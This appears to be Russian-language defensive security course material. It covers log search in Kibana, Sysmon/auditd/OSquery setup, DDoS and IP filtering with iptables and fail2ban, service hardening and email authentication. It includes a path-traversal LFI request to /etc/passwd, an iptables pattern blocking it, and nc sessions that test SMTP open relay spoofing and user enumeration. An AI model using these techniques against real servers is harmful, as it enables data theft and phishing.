После выполнения запроса в левой части экрана Kibana покажет доступные в результатах поиска поля данных, например такие как имя агента, IP и прочие. Имена полей можно искать с помощью строки поиска, если кликнуть на поле, Kibana покажет статистику.

Для удобной работы с чтением логов имеет смысл выбрать интересующие специалиста поля для отображения в результатах поиска(5). Для выбора необходимо нажать на символ (+) рядом с именем поля. Поле timestamp выбрано по умолчанию.

Результаты поиска с выбранными полями host.ip, host.name, host.os.family и message. Полученный вид можно сохранить для дальнейшего использования нажав кнопку "Save" в правом верхнем углу экрана.

Это очень удобно для работы с разными наборами данных, например, для изучения сетевого трафика имеет смысл выбрать поля связанные с src/dst портами, IP/MAC адресами и протоколами, для изучения логов веб-сервера добавить url, http response code, XFF, user-agent, для изучения поведения процессов - command line, process.pid, process.parent.pid, user, итд. 

Примечание: по умолчанию Kibana показывает 500 последних документов в результатах поиска.

KQL.

KQL использует логические операторы и ключевые слова для составления запроса. Также в запросе можно фильтровать результаты по полям. Например, запрос message: error будет искать ключевое слово error в поле message. 

Оператор (:) обозначает,  что мы ищем полное совпадение ключевого слова "error" среди текста в поле message. 

Если мы попробуем найти неполное совпадение, например message:err , то результат поиска будет пустым. Для поиска частичного совпадения можно использовать символ (*),  message:err* . Помимо поиска совпадений в KQL также доступны операторы <,>, >=, <= и логические AND, NOT, OR. Рассмотрим следующий пример:

(host.name: web*)   AND (NOT http.response.status_code: 200) AND  (http.response.status_code: *)

В данном примере мы ищем результаты которые содержат http.response.status_code и где http.response.status_code не равняется 200 на машинах с именем начинающимся на web.

http.response.status_code оказался в запросе дважды, поскольку в результаты запроса

(NOT http.response.status_code:200)попадут все данные, в которых поле http.response.status_code не существует в принципе.  Чтобы это исправить, мы ищем данные, где это поле имеется (http.response.status_code: *) и сужаем фильтр до результатов, где значение поля не равняется 200. 

Системы аудита и внешний периметр

Системы аудита

Настройка Sysmon

1. Скачиваем Sysmon с официального сайта: https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon

2. Готовим  файл конфигурации или берем готовый:

https://github.com/bakedmuffinman/Neo23x0-sysmon-config/blob/main/sysmonconfig-export.xml

Распаковываем архив, копируем файл конфига. 

3. Открываем командную строку Powershell от имени администратора и запускаем команду:

.\Sysmon64.exe -i .\sysmonconfig-export.xml -accepteula

Ключ -i(install) отвечает за установку, опционально указывается файл конфигурации, а ключ -accepteula автоматически принимает лицензионное соглашение, что удобно при установке Sysmon через GPO, ansible или другие способы автоматизации.

4. Проверяем наличие логов.

Откроем остнастку mmc для просмотра событий системы:

PS>  eventvwr.msc

Перейдем в раздел "Журналы приложений и служб" -> Microsoft -> Windows -> Sysmon -> Operational и убедимся, что события, описанные в файле конфигурации записываются.

Стандартная конфигурация Sysmon

Давайте разберем мониторинг событий с помощью Sysmon в ОС Windows. Мы будем рассматривать конфиг Sysmon на примере популярного: https://github.com/bakedmuffinman/Neo23x0-sysmon-config/blob/main/sysmonconfig-export.xml.

При желании, можно присмотреться в дальнейшем и к этому конфигурационному файлу: https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml.

Конфигурация Sysmon описывается в формате XML и указывается при запуске программы. 

Пропустим стандартное описание XML-схемы и начнем с разбора групп и правил.

Мы видим описание группы, в которой будет логироваться любое из описанных в группе событий. 

GroupRelation ="and" в свою очередь будет записывать только те события, котрые попадают под все фильтры в группе.

Итак, внутри группы правил мы видим описание правил ProcessCreate. Эти правила будут создавать события с eventID=1 при создании системой процесса. Ключ onmatch говорит, что делать, в случае если совпало какое-либо условие. В данном примере, в случае совпадения, событие не будет записано (onmatch = exclude). То есть, в системный журнал Sysmon будут записаны все события о создании процессов кроме тех, которые указаны в нашей группе.  Грубо говоря, мы исключаем неинтересные и часто создаваемые процессы, чтобы уменьшить количество записей в журнале. 

Давайте разберем часто встречающиеся фильтры:

• Image — имя исполняемого файла;
• CommandLine — командная строка;
• ParentCommandLine — командная строка родительского процесса;
• ParentImage — образ исполняемого файла родительского процесса.

Возможные условия:

• condition="is" — жесткое совпадение, например: 

  <CommandLine condition="is">C:\Windows\System32\usocoreworker.exe -Embedding</CommandLine>
                    

  . В данном примере будет записано(или проигнорировано) событие запуска процесса usocoreworker.exe именно с ключом -Embedding. 
• condition="contains" — позволяет фильтровать события по имени файла, процесса, пути.
• condition="begin with"/ "end with" — позволяет фильтровать поля, которые начинаются или заканчиваются определенными символами.
• condition="contains any"/condition="contains all" — позволяет искать события, которые содержат одно из, либо все условия, описанные в правиле. Список разделяется символом ";", например:  

  <PipeName condition="contains all">MSSE-;-server</PipeName>
                    

Следующая группа мониторит изменение временной метки создания файлов(Sysmon eventID=2). В данном случае мы видим onmatch = include, то есть будут записаны только те события, которые описаны в этой группе, а именно: изменение файлов в каталоге "C:\Users", изменения .exe файлов, и HarddiskVolumeShadowCopy.

Дальше мы видим группу для мониторинга сетевых соединений(Sysmon eventID=3). Как и в случае с файлами, система постоянно инициирует огромное количество сетевых соединений, поэтому мы будем отслеживать только те соединения, которые описаны в этой группе. 

События, описанные в этой группе могут фильтроваться по имени исполняемого файла(Image), по IP/FQDN, либо по портам.

Исключение мониторинга событий коннектов к microsoft.com.

Отслеживание подключений по портам 22,23,143,3389.

Поскольку onmatch="exclude" и список пустой будут записываться все события окончания работы процесса(Sysmon eventID=5).

Sysmon eventID=7, загрузка библиотеки процессом. Очень "шумное" правило, следует использовать с крайней осторожностью, чтобы не перегрузить систему. В нашем примере правило выключено(onmatch="include" и пустой список.

Sysmon eventID=8, создание удаленного потока. Помогает отслеживать process injection, когда один процесс запускает свой код в области памяти другого процесса. 

 Sysmon eventID=9(RAW DISK ACCESS, прямой доступ к диску) и Sysmon eventID=10 (INTER-PROCESS ACCESS, доступ одного процесса к другому) как правило исключаются из мониторинга по причине большого количества событий и их малой полезности. 

 Sysmon eventID=11 отвечает за создание файлов. Крайне полезное правило, но опять же, очень "шумное". На скриншоте выше мы видим условия, отслеживающие создание файлов в каталоге "Downloads", файлов с определенными расширениями(.bat, .cmd и т.д.) и файлов в меню "Пуск" и автозагрузке. 

События Sysmon eventID=12,13,14 описывают изменения в реестре Windows:

• EVENT 12: "Объект реестра добавлен или удален"
• EVENT 13: "Установлено значение"
• EVENT 14: "Объект переименован".

На примере выше мы видим правило мониторинга веток Run, отвечающих за автозапуск при старте системы. 

• Sysmon eventID=15 отвечает за мониторинг альтернативных потоков данных (Alternative data streams) в NTFS. 
• Sysmon eventID=16 описывает события изменения конфигурации Sysmon. 
• Sysmon eventID=17(Pipe Created) и Sysmon eventID=18(Pipe Connected) мониторят создание и использование pipes - область памяти используемая для коммуникации между процессами.
• Sysmon eventID=19, 20 и 21 описывают события, связанные с WMI(Windows management interface). 

Sysmon eventID=22 позволяет логировать все DNS-запросы. Эти события могут быть крайне полезными, однако система генерирует огромное количество DNS-запросов каждую секунду. 

Начиная с версии 14 Sysmon умеет блокировать исполняемые файлы по хэшу.

Настройка auditd

1. Установим auditd на ОС Ubuntu:

apt install auditd

2. Подготовим или скачаем готовый файл конфигурации:

# wget https://raw.githubusercontent.com/Neo23x0/auditd/master/audit.rules

3. Скопируем файл с правилами в каталог /etc/audit/rules.d:

# mv audit.rules /etc/audit/rules.d/audit.rules

4. Загрузим правила командой:

augenrules --load

5. Убедимся, что правила добавились с помощью команды: 

auditctl -l

6. И проверим, что демон auditd записывает события:

tail /var/log/audit/audit.log

Настройка OSquery

Мы будем использовать OSquery в составе elastic agent. Хотя OSquery можно установить отдельно, интеграция с ELK дает хорошую масштабируемость, позволяя запускать запросы сразу на множестве агентов одновременно. Для работы OSQuery необходим настроенный Fleet server (см. тему 6.2).

Перейдем в раздел Management  -> OSQuery.

Нам предложат добавить интеграцию Osquery в имеющуюся политику Fleet Server.  Выберем используемую на агентах политику и нажмем "Save and continue".

После того как политика обновится на агентах, можно начинать пользоваться Osquery. Для этого перейдем в раздел Management  -> OSQuery -> Live queries и нажмем на "New live query". 

Выберем агент(один или несколько), на котором выполним тестовый запрос OSQuery:

SELECT  u.username,  u.directory,  u.uuid,  g.groupname,  g.group_sid,  u.type  FROM users AS u  JOIN groups AS g USING(gid);

 Ниже несколько полезных ресурсов с практическими рекомендациями по OSQuery:

1. https://speakerdeck.com/will03/practical-threat-hunting-with-osquery

2. https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/

3. https://osquery.readthedocs.io/en/latest/

Защита внешнего периметра

DDoS атаки

У крупных компаний со своей AS есть возможность построить BGP peering с ISP, предоставляющим услуги защиты от DDoS. В обычное время этот дополнительный канал никак не используется, и у компании используются ее основные ISP. А во время атаки основные каналы "отключаются" и весь трафик заходит только от ISP оказывающие услуги фильтрации. 

Атака на канал
Шаг 1

Коммуникация с ISP с целью ограничения пропускной полосы для протоколов, подверженным Amplification атакам, например 53 (dns), 11211 (memcache), 123 (ntp). Полный перечень протоколов можно изучить тут. Не используемые протоколы можно вообще заблокировать, на оставшиеся установить лимит. Однако, стоит понимать, что если выставить лимиты на UDP, где source port 53 - то под это правило попадут и ответы на DNS запросы, которые исходят, например, из вашего офиса. Т.е. канал и внешние сервисы вы спасете, но работа офиса в Интернете в этот момент может быть затруднена. 

Шаг 2

Если вы недостаточно крупный клиент для вашего ISP, для компаний не обладающим свой IP подсетью, которой он может свободно распоряжаться в плане маршрутизации, решение может быть чуть более "интересным". Во-первых, подумайте о возможном размещении своих сервисов в облаках. В этом случае, защитой канала от крупных атак будет уже озадачен непосредственно облачный провайдер, вам же останется решать вопросы защиты только от атак на L7.

Шаг 3

Если по какой-то причине перенести свои сервисы полностью вы не можете, то небольшой шанс остаться защищенным все еще есть — не светите свой настоящий IP в интернете. Нигде. Никакая DNS запись не должна вести на ваш настоящий IP адрес, даже в истории DNS, которую можно найти в открытом доступе в интернете. А ваши офисные сотрудники должны выходить в интернет через NAT IP не имеющим отношения к вашим сервисам. Идея защиты заключается в том, что услугами облачной инфраструктуры мы воспользуемся только с целью проксирования трафика (L3/4).

Проблемой в использовании прокси все еще может стать величина вашего собственного канала в офисе. Если он 1Гбитс, и вас атакуют ровно на эту величину, то лимиты облачного провайдера могут не сработать, и защищаться вам все еще потребуется самостоятельно.

Пример проксирования с помощью iptables 

iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination <REMOTE-HOST-IP-ADDRESS>:80
iptables -I INPUT -p udp -m udp --dport 123 -j ACCEPT
iptables -t nat -A PREROUTING -p udp --dport 123 -j DNAT --to-destination <IP-GOES-HERE>:123
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward=1

Шаг 4.1 (TCP)

Для защиты TCP-трафика используем возможности iptables на уровне нашего прокси сервера в облаке. Однако применять фильтры требуется не в FORWARD chian'е в связке с стандартной таблицей "filter", а в PREROUTING chain'е в связке с таблицей "mangle". Это очень сильно снизит нагрузку на вычислительные ресурсы прокси-сервера. Конкретные конструкции по защите от DDoS с помощью iptables можно найти здесь. 

Шаг 4.2 (UDP)

Если вы публикуете UDP сервисы (например телефония), то для проксирования и блокировок возможно так же продолжать использовать iptables. Однако сложность SIP трафика заключается в том, что он использует динамические порты. В таком случае потребуется блокировать непосредственно UDP сервисы, подверженные усилению (53, 123, 389, 11211 и т.п.), а также попробовать максимально сузить диапазон динамически выделяемых портов (например 40000-45000) и разрешить пропускать только их.

Шаг 5

Если вы решитесь на такую необычную конфигурацию, располагая прокси сервер в облаке, следует иметь ввиду, что весь трафик вы теперь будете получать только с этого единственного IP адреса. Его и следует разрешить на сетевом оборудовании вашей собственной инфраструктуры, а все остальные прямые подключения запретить.

Однако, перед вами может встать вопрос прозрачности логов. Теперь весь интернет-трафик к вам будет приходить из единственного источника и возможно какая то аналитика, основанная на IP адресах клиентах нарушится. Для веб-приложения, с целью сохранения IP адресов клиентов в логах на уровне прокси стоит воспользоваться Nginx. Проставляя дополнительный заголовок X-Forwarder-For вы сможете сохранить информацию о настоящем IP источника.

Ограничиваем доступ по IP-адресам

Основываясь на гео IP баз данных, можно разработать автоматизацию, которая 1 раз в день будет обновлять правила iptables либо ACL на вашем сетевом оборудовании и разрешать доступ только из RU региона.

Такая конфигурация отлично работала бы со связкой облачного L3/4-прокси, где на самом прокси вы реализуете доступность по IP гео региона, а на стороне офиса, где непосредственно развернуты сервисы, разрешен входящий трафик только с IP адреса этого прокси сервера.

Интересный реальный пример из жизни, из сферы госзаказов: государственная больница, в одном из многочисленных регионов РФ, имеет множество филиалов, маленьких офисов. Технологический прогресс идет и связью надо оснастить каждый, даже самый маленький филиал, дать возможность даже в самой глубинке пользоваться централизованными сервисами. Организация VPN сети остается на стороне медицинского учреждения, а вот контракты и сами каналы связи предоставляют "сверху", в каждую глубинку идет белый IP адрес. Зачем?

Там, где нет сервисов, нет причины использовать белые IP. Любая неверная конфигурация сетевого оборудования, слабый пароль, использование старых версий прошивки — все это лишний риск ИБ и ИТ специалистам. Даже межофисный VPN легко справляется с подключениями из-за NAT.

Конечно, идеальный сценарий, когда вы знаете конкретные IP адреса клиентов того или иного сервиса и разрешаете доступ только с этих источников, блокируя все остальные. Зачастую это, к сожалению, невозможно. Да и нужды бизнеса могут диктовать необходимость быть открытым всему миру. Однако, и для такого сценария есть рекомендации:

• заблокируйте подключение из Tor-сети;
• заблокируйте подключение из облаков, если вы ожидаете, что вашими сервисами должны пользоваться только люди;
• заблокируйте подключение из источников с плохой репутацией (пример Cisco Talos).

Примеры автоматизаций
iptables: https://github.com/trick77/ipset-blacklist;
CiscoASA: https://gist.github.com/RaceFPV/6f67e7cf4a99dfa3d473de5da325bb0f;
MikroTick: https://github.com/pwlgrzs/Mikrotik-Blacklist.

Помните, что примеры с github лишь примеры. Всегда проверяйте на содержимое скрипты, скаченные из интернета. Стоит так же учитывать, что из-за уникальности вашей собственной инфраструктуры они могут не работать как есть, и может потребоваться доработка.

Ограничиваем по IP в динамике (fail2ban)

В условиях, когда мы не можем заранее предоставить доступ только для доверенных IP, а ожидание обновления репутационных баз может стоить нам драгоценного времени, fail2ban приходит на помощь! Это очень мощный инструмент, который управляет динамическими списками iptables, следуя заранее заданной логике, которую можете создавать вы сами.

Есть множество стандартных профайлов, идущих в комплекте с приложением, которые, например, будут блокировать на 30 минут ip адрес, с которого было совершено 5 неудачных попыток подключения к ssh за последние 10 минут. Такие события логируются в файле /var/log/secure. Т.е. если есть необходимость разработать кастомный профайл — лог файл, это минимальное требование.

Из коробки доступен анализ логов множества приложений, таких как sshd, asterisk, apache, phpmyadmin и другие. Давайте попробуем создать свой собственный темплейт для OpenVPN.

1. Создаем файл /etc/fail2ban/filter.d/openvpn.conf со следующим конфигом: 

[INCLUDES]
before = common.conf

[Definition] 
_daemon = ovpn-server
failregex =%(__prefix_line)s<HOST>:[0-9]{4,5} TLS Auth Error:.*
           %(__prefix_line)s<HOST>:[0-9]{4,5} VERIFY ERROR:.*
           %(__prefix_line)s<HOST>:[0-9]{4,5} TLS Error: TLS handshake failed.*
           %(__prefix_line)sTLS Error: cannot locate HMAC in incoming packet from \[AF_INET\]<HOST>:[0-9]{4,5}
maxlines = 1

2. Создаем файл /etc/fail2ban/jail.d/openvpn.conf со следущим конфигом: 

[openvpn]
enabled  = true
port     = 1194   ; Change this if your OpenVPN is using a different port
protocol = udp
filter   = openvpn
logpath  = /var/log/openvpn.log  ; Change this if your OpenVPN log path is different
maxretry = 3

3. Рестарт службы: 

systemctl restart fail2ban

Условие поиска событий в логе задаем мы. Т.е. fail2ban может быть не только инструментом борьбы против брутфорса, но, например, и от перебора существующих каталогов и страниц на сайте. Если количество строк в логах с кодом ответа 404 превышает, например, 100 за 10 минут — IP в блокировку. Но стоит быть уверенным, что нет ошибок на стороне кода веб-приложения и нет ссылок на несуществующие элементы.

Мы могли бы подсчитывать даже количество валидных GET/POST запросов (код ответа 200). Однако, тут надо быть осторожным, т.к. есть риск заблокировать и настоящих пользователей, которые просто сидят за одним NAT IP адресом в сети большого оператора связи. Важно понимать, что источником данных для принятия решений может быть лог файл любого приложения — и vpn сервер, и почтовый сервер, и сервер телефонии и многие другие.

Глубокая инспекция трафика

Когда блокировка IP адреса недопустима из-за риска блокировать настоящих пользователей, остается принимать решение о блокировке каждого отдельного пакета или веб-запроса.

С одной стороны, к нам на помощь может вновь прийти iptables. Даже, если речь идет о веб-приложении, где весь трафик шифруется (HTTPS), то в связке nginx + apache декрипт проходит на уровне nginx, а apache хостится на localhost (127.0.0.1), т.е. правило iptables может быть применено на этом интерфейсе.

Пример правила iptables с блокировкой, основанной на контенте ТСР пакета: 

iptables -A INPUT -p tcp --dport 8080 -m string --algo kmp --string "../../../../" -j DROP
iptables -A INPUT -p tcp --dport 10556 -m string --algo kmp --hex-string "|3e0000|" -j DROP

Очень важное замечание было сделано в первом абзаце данной главы: "пакета или веб-запроса". Если у нас используется система, которая анализирует каждый отдельный пакет, как в разобранном выше примере iptables, то он с легкостью пропустит веб-запрос, содержащий попытку LFI типа GET /script.php?page=../../../../../../../../etc/passwd, если злоумышленник разобьет его на несколько TCP пакетов, в пейлоде которых будет содержаться только один символ. Клиент отправляет 100 пакетов по одному символу, наш фильтр это пропускает, а сервер, используя заложенные алгоритмы в протокол ТСР восстанавливает запрос целиком, и готов "ответить" злоумышленнику.

Из-за описанных выше особенностей для гарантированной защиты наших приложений нам потребуются инструментарии типа WAF (для веб-приложений) и IPS (для любых других). Они собирают ТСР сессию целиком и только потом принимают решение о блокировке. В третьем видео темы "2.6 Противодействие на периметре" мы описывали особенности работы WAF и быструю установку одного из бесплатных решений. Работа с популярные IPS/IDS такими, как Suricata и Snort была также описана в уроке "2.5 Анализ логов сетевых средств защиты (WAF / NGFW / IDS)".

Крайне редко в своей практике я встречал IPS развернутые в Prevent mode, с целью защиты внешних сервисов. Уж очень большой риск влияния на работу сервиса из-за задержек в анализе, ведь он, кроме того, крайне требователен к ресурсам железа. Поэтому чаще их все-таки ставят сбоку, отливают для анализа копию трафика и это уже получается IDS (Detect mode). Но о том, что такая возможность защиты внешних сервисов существует стоит иметь ввиду.

Hardening сервисов

"hardening" - "укрепление" сервера с точки зрения ИБ. 

Например, представьте, что вы используете WordPress CMS на вашем сайте, он хорошо позиционировал в сети, закрыт WAF'ом. Но, к сожалению, уязвимости в нем самом и его модулях обнаруживаются постоянно. И вот, появился очередной "0-day", который начинает активно использоваться злоумышленниками. WAF — не 100% гарант , и в нашем примере он не смог защитить ваш сайт, ваш сервер и злоумышленник реализует RCE (удаленное исполнение кода) на вашем сервере...

Рекомендуют включить и настроить SELinux. Он способен ограничить пользователя www-data, из-под которого работает наш сайт, и не дать ему возможность исполнять код на системе, а лишь читать файлы, что лежат в /var/www/html.

Стандарты помогут вам проверить каждый хост, каждую систему в отдельности, не забыли ли вы чего настроить. Самым распространенным является CIS Benchmark'и. CIS (Center for Internet Security) опубликовал стандарты для множества различных систем:

Кроме стандартов в интернете можно найти и различные автоматизации по их применению и проверке.

Интересную коллекцию подобных автоматизаций вы можете найти по ссылке.

Альтернативы CIS Benchmark

CIS хоть и является дефакто стандартом и самым популярным источником фреймворков, но не всегда в их коллекции можно найти интересующую нас технологию. На помощь, как обычно приходит Google. Будем искать, желательно на официальных сайтах, "hardening" или "best practice" под необходимый продукт. Например:

рекомендации на MikroTik: https://mum.mikrotik.com/presentations/KH17/presentation_4162_1493374113.pdf
рекомендации на OpenVPN: https://openvpn.net/community-resources/hardening-openvpn-security/
рекомендации на Zabbix: https://www.zabbix.com/documentation/current/en/manual/installation/requirements/best_practices

Email и облака

Почта

• защита собственного домена от попыток отправки писем от вашего имени;
• защита собственных сотрудников от спама, вирусов и офисных файлов с опасными макросами;
• харденинг почтового сервера и сервиса обработки почты (exim, dovecot, postfix и т.п.).

Защита доменного имени (SPF, DKIM, DMARC)

SPF (Sender Policy Framework) — это TXT DNS запись, в которой следует указать IP-адреса и доверенных партнеров, которые авторизованы (имеют право) отправлять электронную почту из вашего домена, т.е. от "вашего имени". Принимающие почтовые сервера, могут сверить источник пришедшего письма (домен и IP) с соответствующей DNS записью в вашем домене, прежде чем перенаправить его в почтовый ящик получателя.

Пример SPF записи: 

» dig txt ptsecurity.ru                                  
...
ptsecurity.ru.        600    IN    TXT    "v=spf1 redirect=_spf.ptsecurity.com"
...

В записи участвует флаг redirect, который перенаправляет нас на сабдомен, давайте проверим его: 

» dig txt _spf.ptsecurity.com                    
...
_spf.ptsecurity.com.    3600    IN    TXT    "v=spf1 ip4:178.238.126.136 ip4:178.238.126.137 ip4:195.133.251.200 ip4:195.133.251.201 ip4:31.44.93.58 ip4:81.27.243.31 ip4:81.27.243.54 ip4:195.133.251.208 ip4:178.238.126.134 mx -all"
...

v=spf1 — сообщает, что TXT запись содержит информацию, относящуюся непосредственно к SPF.

ipv4 (ipv6) — содержит список IP адресов и сетей, с которых дозволено отправлять письма.

mx — указывает на то, что серверам, указанным в MX DNS записи, так же разрешено отправлять письма. Определить MX запись можно так: dig mx ptsecurity.ru

-all сообщает серверу, что адреса, не указанные в записи SPF, не имеют права отправлять электронную почту и должны быть отклонены. Альтернативные варианты: ~all, который означает, что электронные письма, не включенные в список, будут помечены как небезопасные или спам, но все равно будут приняты, и, реже, +all, который означает, что любой сервер может отправлять электронные письма от имени вашего домена.

Еще один флаг, отсутствующий в примере include, который сообщает серверу, какие сторонние организации имеют право отправлять электронные письма от имени домена.

DKIM (DomainKeys Identified Mail) — это метод аутентификации вашего домена с помощью цифровых подписей. Соответственно, имеется две части ключа: открытая и закрытая. Закрытая часть храниться на сервере, в конфигурационных файлах вашего почтового сервиса (приложения). Открытая часть прописывается в DNS  запись. Давайте попробуем ее найти. В одном из писем рекламной рассылки Positive Security можно найти вот такие строки: 

DKIM-Signature: v=1;
 a=rsa-sha256;
 s=mindbox;
 d=email.ptsecurity.com;
 c=relaxed/relaxed;
 q=dns/txt;
 h=From:To:Subject;
 bh=x8CUMA+LBpmKFgUhm7dPgNlLQbe1ZHbqIOzByiP5Zzg=;
 b=E854evyPVTWgRO028yDTZEn2ZImhgJ6GHzsB4O25+MP7jsxqXk/9hs1vUDdEmyTBklxBgqzsi0V9EPz6vopgRQt8EU4poAK4WBhYg8sHHna7jrPgLMMrV5q6gkIZgAVy4otrG2YHt2+vtb6R+CJrapbQvj69vj8E0J2kBA5kims=

v= — показывает, какая версия DKIM используется.
d= — доменное имя отправителя.
s= — это "селектор", который принимающий сервер должен использовать для поиска записи DNS.
h= — перечисляет поля заголовка, которые используются для создания цифровой подписи. В этом случае используются заголовки from, to и subject. Если бы Боб отправил электронное письмо Алисе, используя домен example.com, и в теме письма было бы «Рецепт каши», то здесь будет использовано следующее содержимое: "«bob@example.com» + «alice@example.com» + «Рецепт каши»".
bh= — это хеш тела письма.
a= — это алгоритм, используемый для вычисления цифровой подписи (b), а также для генерации хэша тела электронного письма (bh).
b= — цифровая подпись, сгенерированная из h и bh и подписанная закрытым ключом.

Для валидации сервер-получатель должен найти открытую часть ключа, для этого "селектор" и требуется: 

» dig txt mindbox._domainkey.email.ptsecurity.com
...
mindbox._domainkey.email.ptsecurity.com. 3600 IN TXT "k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDdyc8nf+xcoG7tOJUTXlysqykbPoshtsr1UGkG9D/yOAXlLicMP6khlj8B+34HDnpCMJEQgd/2PxlD47OHeo9Czx+1Lz6rX02CI4ocntmX41ysZO4Qk8FVGXZCWFwi64wtiUaw4zqYbAVb/oRxnSfBAMatl2y+TcpKdNMl6IQeqQIDAQAB"
...

DMARC (Domain-based Message Authentication Reporting and Conformance) — это политика, сообщающая получающему почтовому серверу, что делать после проверки записей SPF и DKIM. Получатель на своей стороне может иметь различные спам правила, основанные на SPF и DKIM, отправитель не имеет над ними контроля. Политика DMARC же дает отправителю контролировать поведение спам фильтра на принимающей стороне. 

» dig txt _dmarc.email.ptsecurity.com
...
_dmarc.email.ptsecurity.com. 3600 IN    TXT    "v=DMARC1; p=reject;"
...

v=DMARC1 — указывает, что эта запись TXT содержит политику DMARC и должна интерпретироваться как таковая серверами электронной почты.
p=reject — указывает, что почтовые серверы должны «блокировать» электронные письма, не прошедшие проверку DKIM и SPF, считая их потенциально спамом. Другие возможные настройки для этого включают p=none, который позволяет письмам, не прошедшим проверки быть доставленными, и p=quarantine, который предписывает серверам электронной почты отправлять письма в Спам.

Вы так же можете добавить параметр rua=mailto:example@third-party-example.com;, на указанный адрес будут приходить репорты о результатах работы вашей DMARC политики. Возможно, таким образом вы получите возможность вычислить, если ваше доменное имя используется в нелегетимных рассылках.

Когда вами сконфигурированы все три параметра — ваш домен защищен. Шанс успешного использования вашего доброго имени для спам-рассылок становится крайне низок. Только если получатель писем готов быть обманутым и никак не проверяет входящую почту. 

Защита входящей почты от спама и вирусов

OpenSource проект Rspamd. Он будет проверять SPF, DKIM и DMARC

Интересный функционал проверки на то, как хорошо настроен ваш домен и сервер предоставляет портал https://www.mail-tester.com/. Примерно таким же образом работает и Rspamd — на каждое отклонение от общепринятых правил выставляет баллы. При достижении лимита письмо блокируется.

Кроме фильтрации спам сообщений, у Rspamd есть интересные интеграции, которые так же могут влиять на рейтинг передаваемого сообщения, проставляя флаг VIRUS_FOUND=2000:

olefy — анализирует содержимое макросов;
ClamAV — сигнатурная проверка вложенных файлов на вирусы.
Базы данных ClamAV по умолчанию не имеют высокого уровня обнаружения, но их можно улучшить с помощью бесплатных или платных баз данных сигнатур SecurityInfo. Потребуется регистрация, после которой вы сможете использовать их с одного IP адреса.

OpenSource проект MailCow. Это докеризированное приложение, которое уже включает в себя все необходимые компоненты как для работы самой почты, так и для осуществления ее защиты.

Hardening Postfix

При отправке, сообщение уходит в компонент почтового сервера, обрабатывающий именно исходящие сообщения.

Postfix — это распространенный программный компонент на серверах для отправки электронной почты. Он имеет множество опций конфигурации, в том числе для повышения собственной безопасности. Мы разберем его безопасную настройку в качестве примера одного из ключевых компонентов.

Для начала, давайте разберем, какие угрозы существуют:

Использование вашего SMTP сервера для рассылки спам сообщений. Такой мисконфиг известен как Open Relay. Если вы его допустили, то ваш IP быстро попадет в различные репутационные списки и ваши собственные пользователи будут испытывать трудности с доставкой почты.

Поиск существующих пользователей Open relay

Интересно, что "опасности" у этой уязвимости на самом деле две: внешняя и внутренняя. Внешнюю можно проверить на портале https://mxtoolbox.com/diagnostic.aspx. Но даже, если она у вас имеется, вас скорей всего сможет защитить Rspmad. Т.е. до Postfix'а присланное из вне сообщение даже не дойдет.

Особенность же внутренней уязвимости заключается в том, что спам фильтры могут игнорировать проверку сообщений, присланных из частной локальной сети (10.0.0.0/8, 192.168.0.0/16 и т.п.) и считать их доверенными. Это может игнорироваться спам фильтрами. В итоге любой пользователь в локальной сети, имеющий доступ до почтового сервера по протоколу SMTP (tcp/25), может от имени любого другого пользователя делать внутренние рассылки. Фишинг письма, разосланные таким образом имеют огромный шанс на успех.

Пример проверки уязвимости: 

# nc -nv 10.20.30.40 25
Connection to 10.20.30.40 port 25 [tcp/*] succeeded!
220 ******************************
HELO gmail.com
250 mail.example.com
mail from:user1@example.com
250 2.1.0 Ok
rcpt to:user2@example.com
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
123
test
.
250 2.0.0 Ok: queued as 4C069182B39
quit
221 2.0.0 Bye

Защититься от нее довольно просто, указав в параметре mynetworks только те сети, которые считаете доверенными. В общем случае, там должны быть указаны только loopback интерфейсы: 

postconf -e mynetworks="127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128"

User enumiration
Команда VRFY является сокращением от «проверить» (verify). Ее можно использовать, чтобы проверить, действителен ли адрес электронной почты на почтовом сервере. Это отлично подходит для устранения неполадок, но также позволяет другим получать информацию о существовании учетной записи и использовать эту информацию для спам рассылок, брутфорса и т.п. Команда VRFY обычно не требуется для доставки между двумя почтовыми серверами и ее следует отключать.

Пример проверки уязвимости: 

# nc -nv 10.10.99.20 25
Connection to 10.10.99.20 port 25 [tcp/*] succeeded!
220 ******************************
HELO gmail.com
250 mail.example.com
vrfy user1@example.com
502 5.5.1 VRFY command is disabled

Устранить такую уязвимость несложно: 

postconf -e disable_vrfy_command=yes

Облачная инфраструктура

Облачные сервисы — это услуги, предоставляемые через интернет, которые позволяют пользователям получать доступ к компьютерным ресурсам по запросу.

Существует несколько уровней облачных сервисов:

• Инфраструктура как сервис (IaaS): виртуальные вычислительные ресурсы по запросу (ВМ, хранилище и сети). Пользователи могут создавать, масштабировать и управлять инфраструктурой через интерфейс управления или API.
• Платформа как сервис (PaaS): на этом уровне предоставляются инструменты разработки и выполнения приложений, такие как базы данных, веб-серверы и средства разработки. Пользователи могут создавать и развертывать приложения, не заботясь о сложностях управления инфраструктурой.
• Программное обеспечение как сервис (SaaS): здесь предоставляются готовые приложения, доступные через интернет. Это могут быть CRM-системы, управление проектами, офисные приложения и многие другие. Пользователи получают доступ к приложениям через веб-браузер или специальные клиенты, обычно без необходимости установки и обновления программного обеспечения.

Процесс работы облачных сервисов обычно выглядит следующим образом:

• Создание учетной записи для получения доступа.
• Выбор ресурсов.
• Масштабирование ресурсов

С точки зрения информационной безопасности в облачных сервисах наиболее важны такие аспекты, как обеспечение безопасной аутентификации пользователей и управление их доступом к ресурсам.

VK Cloud

Применяются следующие меры и практики информационной безопасности:

• Мониторинг и противодействие атакам: Security Operations Center (SOC VK) осуществляет мониторинг и анализ безопасности серверов VK Cloud с использованием системы SIEM (Security Information and Event Management). Применяются механизмы, такие как антифрод и отслеживание подозрительной активности.
